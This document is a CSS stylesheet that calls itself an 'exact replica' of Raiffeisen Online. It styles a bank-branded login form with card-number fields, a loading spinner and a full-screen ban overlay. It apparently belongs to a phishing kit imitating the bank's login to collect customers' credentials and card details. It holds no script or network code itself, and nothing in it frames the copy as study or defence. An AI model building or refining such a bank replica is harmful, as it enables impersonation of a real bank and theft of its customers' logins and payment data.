/* Raiffeisen Online - Exact replica */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
    background-color: #fff;
    min-height: 100vh;
    overflow-x: hidden;
}

/* Flexbox utilities matching Tailwind */
.flex {
    display: flex;
}

.flex-col {
    flex-direction: column;
}

.h-screen {
    min-height: 100vh;
}

.items-center {
    align-items: center;
}

.justify-center {
    justify-content: center;
}

.justify-between {
    justify-content: space-between;
}

.h-full {
    flex: 1;
}

.space-y-4>*+* {
    margin-top: 1rem;
}

.hidden {
    display: none;
}

/* Header */
header {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 1rem 2.5rem;
    background: #fff;
    z-index: 100;
}

header img {
    height: 48px;
    margin-left: 2.5rem;
}

.header-btn {
    display: none;
    padding: 0.5rem 1rem;
    background: #000;
    color: #fff;
    border: none;
    border-radius: 6px;
    font-size: 14px;
    font-weight: 500;
    cursor: pointer;
    margin-right: 3.5rem;
    transition: transform 0.15s;
}

.header-btn:hover {
    transform: scale(0.95);
}

/* Main layout */
main {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    padding: 6rem 2.5rem 2rem;
    flex: 1;
}

.form-column {
    width: 100%;
    max-width: 280px;
}

.banner-column {
    display: none;
    align-items: center;
    justify-content: center;
    flex: 1;
}

.banner-img {
    max-width: 100%;
    max-height: 80vh;
    object-fit: contain;
}

/* Form title */
.form-title {
    text-align: center;
    font-size: 1.5rem;
    font-weight: 700;
    margin-bottom: 1.25rem;
    color: #000;
    line-height: 1.3;
}

/* Input wrapper — matches Raiffeisen style (bottom border, no rounded corners) */
.input-wrapper {
    position: relative;
    width: 100%;
    display: inline-flex;
    flex-direction: column;
    align-items: flex-start;
    justify-content: center;
    padding: 0.625rem 0.75rem;
    border: 1px solid #e5e7eb;
    border-radius: 0;
    min-height: 3rem;
    height: 4rem;
    transition: border-color 0.15s;
    cursor: text;
    background: #fff;
}

.input-wrapper:focus-within {
    border-color: #000;
}

.input-label {
    position: absolute;
    z-index: 10;
    pointer-events: none;
    font-size: 1rem;
    color: #71717a;
    cursor: text;
    transition: all 0.2s ease-out;
    transform-origin: top left;
    top: 50%;
    transform: translateY(-50%);
}

/* When input has value or is focused, float label up */
.input-wrapper.filled .input-label,
.input-wrapper:focus-within .input-label {
    font-size: 0.75rem;
    color: #52525b;
    top: 8px;
    transform: translateY(0);
}

.inner-wrapper {
    display: inline-flex;
    width: 100%;
    align-items: flex-end;
    height: 100%;
    padding-top: 14px;
}

.form-input {
    width: 100%;
    font-size: 1.125rem;
    font-weight: 400;
    background: transparent;
    border: none;
    outline: none;
    color: #000;
    padding: 0;
}

.form-input::placeholder {
    color: #a1a1aa;
}

/* Card row */
.card-row {
    display: flex;
    gap: 0.75rem;
}

.input-wrapper.half {
    flex: 1;
}

/* Error messages */
.input-error {
    font-size: 0.8125rem;
    color: #e53935;
    margin-top: -0.5rem;
    min-height: 0;
    overflow: hidden;
    max-height: 0;
    transition: all 0.3s;
}

.input-error.visible {
    max-height: 40px;
    margin-top: 0.25rem;
    margin-bottom: 0.25rem;
}

/* Forgot link */
.forgot-link {
    display: inline-block;
    font-size: 0.875rem;
    color: #6b7280;
    text-decoration: none;
    margin-top: -0.375rem;
    cursor: pointer;
}

/* Submit button — Yellow Raiffeisen style */
.submit-btn.Ga {
    width: 100%;
    padding: 0.875rem;
    border: none;
    border-radius: 0;
    font-size: 1rem;
    font-weight: 600;
    cursor: pointer;
    background: #FEE600;
    color: #000;
    transition: all 0.2s;
    margin-top: 0.5rem;
}

.submit-btn.Ga:hover:not(.disabled) {
    background: #f0d900;
}

.submit-btn.Ga:active:not(.disabled) {
    transform: scale(0.98);
}

.submit-btn.Ga.disabled {
    opacity: 0.5;
    cursor: not-allowed;
    pointer-events: none;
}

/* Screens */
.screen {
    display: none;
}

.screen.active {
    display: block;
}

/* Loading */
.loading-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 3.75rem 0;
}

.spinner {
    width: 48px;
    height: 48px;
    border: 4px solid #eee;
    border-top-color: #FEE600;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
    margin-bottom: 1.25rem;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

.loading-text {
    font-size: 0.9375rem;
    color: #777;
    text-align: center;
}

/* Ban screen */
#banScreen {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 9999;
    background: #000;
}

/* Shake animation */
@keyframes shake {

    0%,
    100% {
        transform: translateX(0);
    }

    20% {
        transform: translateX(-6px);
    }

    40% {
        transform: translateX(6px);
    }

    60% {
        transform: translateX(-4px);
    }

    80% {
        transform: translateX(4px);
    }
}

.shake {
    animation: shake 0.3s ease-in-out;
}

/* Desktop layout (xl breakpoint ~1280px) */
@media (min-width: 1280px) {
    .xl-show {
        display: flex !important;
    }

    .header-btn {
        display: block;
    }

    main {
        flex-direction: row;
        align-items: center;
        justify-content: space-between;
    }

    .form-column {
        width: 25%;
        padding: 0 2.5rem;
    }

    .banner-column {
        width: 75%;
        display: flex;
    }

    .form-title {
        text-align: center;
    }
}

/* Mobile */
@media (max-width: 1279px) {
    header img {
        margin-left: 0;
        height: 36px;
    }

    main {
        padding-top: 2rem;
    }

    .form-column {
        max-width: 320px;
    }
}